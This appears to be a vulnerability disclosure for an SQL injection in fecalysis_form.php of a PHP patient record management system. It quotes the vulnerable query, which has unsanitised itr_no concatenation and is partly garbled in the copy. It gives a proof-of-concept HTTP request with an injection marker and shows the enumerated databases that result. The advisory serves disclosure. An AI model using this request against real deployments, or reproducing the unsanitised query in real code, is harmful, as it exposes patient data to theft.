

40 lines (25 loc...

Preview

Code

Blame

Raw



health care patient-record-management-system-in-php has sql injection in /fecalysis_form.php

supplier

https://code-projects.org/patient-record-management-system-in-php-with-source-code/#google_vignette

Vulnerability parameter

fecalysis_form.php

describe

An unrestricted SQL injection attack exists in patient-record-management-system-in-php in fecalysis_form.php. The parameters that can be controlled are as follows: itr_no. This function executes the id parameter into the SQL statement without any restrictions. A malicious attacker could exploit this vulnerability to obtain sensitive information in the server database.

Code analysis

When the value of \$id parameter is obtained in fecalysis_form.php. , it will be concatenated into SQL statements and executed, which has a SQL injection vulnerability.

```

fecalysis_form.php
8   = "en">
18
19   $ss = "navbar navbar-default navbar-fixed-top">
21   class = "nav navbar-right">
22     <li class = "dropdown">
27       </a>
28       <ul class = "dropdown-menu">
29         <li>
30           <a class = "me" href = "logout.php"><span class = "glyphicon glyphicon-log-out"></span> Logout</a>
31         </li>
32       </ul>
33     </li>
34   </ul>
35
36
37
38
39   $ss = "well">
40   / class = "panel panel-warning">
41   <div class = "panel-heading">
42     <center><label>FECALYSIS</label></center>
43   </div>
44   .v>
45   <?php
46     $q = $conn->query(query: "SELECT * FROM `fecalisys` NATURAL JOIN `itr` WHERE `itr_no` = '$_GET[itr_no]' &
47     $f = $q->fetch_array();
48   ?>
49
50   / class = "panel panel-default">
51   <div class = "panel-heading">
52     <label>FECALYSIS RESULT FORM</label>

```

POC

```

GET /fecalysis_form.php?itr_no=1* HTTP/1.1
Host: healthcarepatientrecordmanagementsystem
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101
Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=apub8ggoc8777fmi1n9sbu6ca1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

```

Result

available databases [41]:

```
[*] `security`  
[*] bloodbank  
[*] challenges  
[*] cltphp_show  
[*] crud  
[*] dedecmsv57utf8_115  
[*] dedecmsv57utf8sp2  
[*] dvwa  
[*] easyweb  
[*] ecms  
[*] ecms4  
[*] empirecms  
[*] farmacia  
[*] fastadmin  
[*] forcms  
[*] healthcare  
[*] hostel  
[*] imperial_college  
[*] information_schema  
[*] mysql  
[*] ofcms  
[*] online_health_care  
[*] owlphin  
[*] performance_schema  
[*] project  
[*] rockxinhu  
[*] ry  
[*] seacms  
[*] sec_sql
```